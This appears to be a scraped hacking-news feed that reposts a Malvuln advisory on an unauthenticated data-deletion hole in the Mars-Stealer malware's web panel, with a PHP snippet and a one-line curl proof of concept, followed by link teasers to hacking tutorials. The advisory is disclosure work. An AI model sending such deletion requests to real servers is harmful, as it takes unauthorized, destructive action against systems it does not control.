Exploit Collector
Win32.MarsStealer Web Panel Unauthenticated Remote Data Deletion

https://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png
Win32.MarsStealer Web Panel malware suffers from an unauthenticated remote data deletion vulnerability.

MD5 | 72a798b198cb0c6a7d06ff9a9b431768

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/8abb41f6e7010d70c90f65fd9a740faa_C.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Win32.MarsStealer Web Panel
Vulnerability: Unauthenticated Remote Data Deletion
Description: The Mars-Stealer web interface has a "Grab Rules" component area that lets a user specify which type of files to collect from a system as specified in the "grab_manual.txt" manual. Third-party attackers who can reach the Mars-Stealer server can send an HTTP POST request to delete any grab rule from the "mars" MySQL database grabrule table.

PHP code snippet "markeractions.php"

require_once '../../db.php';

switch (trim($_POST['func'])) {
case "markeradd":
markeradd();
break;
case "markerdelete":
markerdelete();
break;
case "markeractive":
markeractive();
break;
}

Type: WebUI
MD5: 8abb41f6e7010d70c90f65fd9a740faa (MarsStealer_Menu.exe)
MD5: 03c2c5cb3dba09bfa479fd5c50b5a2cf (dashboard.php)
Vuln ID: MVID-2022-0453
Disclosure: 01/15/2022

Exploit/PoC:
c:/>curl http://MARS_STEALER_SERVER/mars/panel/includes/grabactions.php --data "func=grabdelete&id=1"
"deleted"

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
OpenBMCS 2.4 Remote Privilege Escalation

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe — Hackeando “Inclusion” sem Metasploit

https://cdn-images-1.medium.com/max/832/0*ilW3rt_lMynYKkjS.png
Este é o 1º artigo do Território Hacker descrevendo as técnicas de reconhecimento e exploração para máquinas de acesso gratuito do…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to get Invite code in Hack The Box

https://cdn-images-1.medium.com/max/1037/1*nlXkzMCY3nNAc9DlqOe1qA.png
This Blog is Originally posted on https://blog.thegurusec.com

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
ফেসবুক হ্যাক শেখার কোর্স ?

https://cdn-images-1.medium.com/max/600/1*3XN_tpoaoIqGfFkf_J-XLg.png
হ্যাকিং নাম শুনলেই ফেসবুক হ্যাকিং এর কথাটা ভেসে উঠে অনেকের মনে। অনেক প্রশ্ন আর জানতে চাওয়া এই ফেসবুক হ্যাকিং নিয়ে। নিয়মিত হ্যাকিং এর কোর্স…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe — Breaking Windows Series #1

https://cdn-images-1.medium.com/max/600/0*YCY0MRvukfk53oQo.gif
Blue

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How Feature Flags Reduce Log4j Web and App Vulnerability

https://cdn-images-1.medium.com/max/2600/1*ZwA1pvP67KBxbJcQ_o8LDA.jpeg
What You Need to Know About Log4j Vulnerability

Continue reading on DevCycle »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Chrome limita el acceso directo de los sitios web a redes privadas por razones de seguridad

https://cdn-images-1.medium.com/max/2000/0*fAjgIaTPPrtwn6BJ
PUBLICADO EN 17 ENERO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Arming the Use-After-Free()

https://cdn-images-1.medium.com/max/1438/1*1R8i8ppVz8A_b8T0bgKT2Q.png
Hemlo Hackers, This is a short introduction to exploiting Use-After-Free vulnerabilities in the ARM platform.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Following a path or going on my own?

When learning to hack should i «follow» a path like e.g TryHackMe paths or should i just find stuff that interests me and learn from experience and «random» things i stumble upon on the road?

Everyone learns differently obv but whats your opinion?

submitted by /u/FranciscoBlackmore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video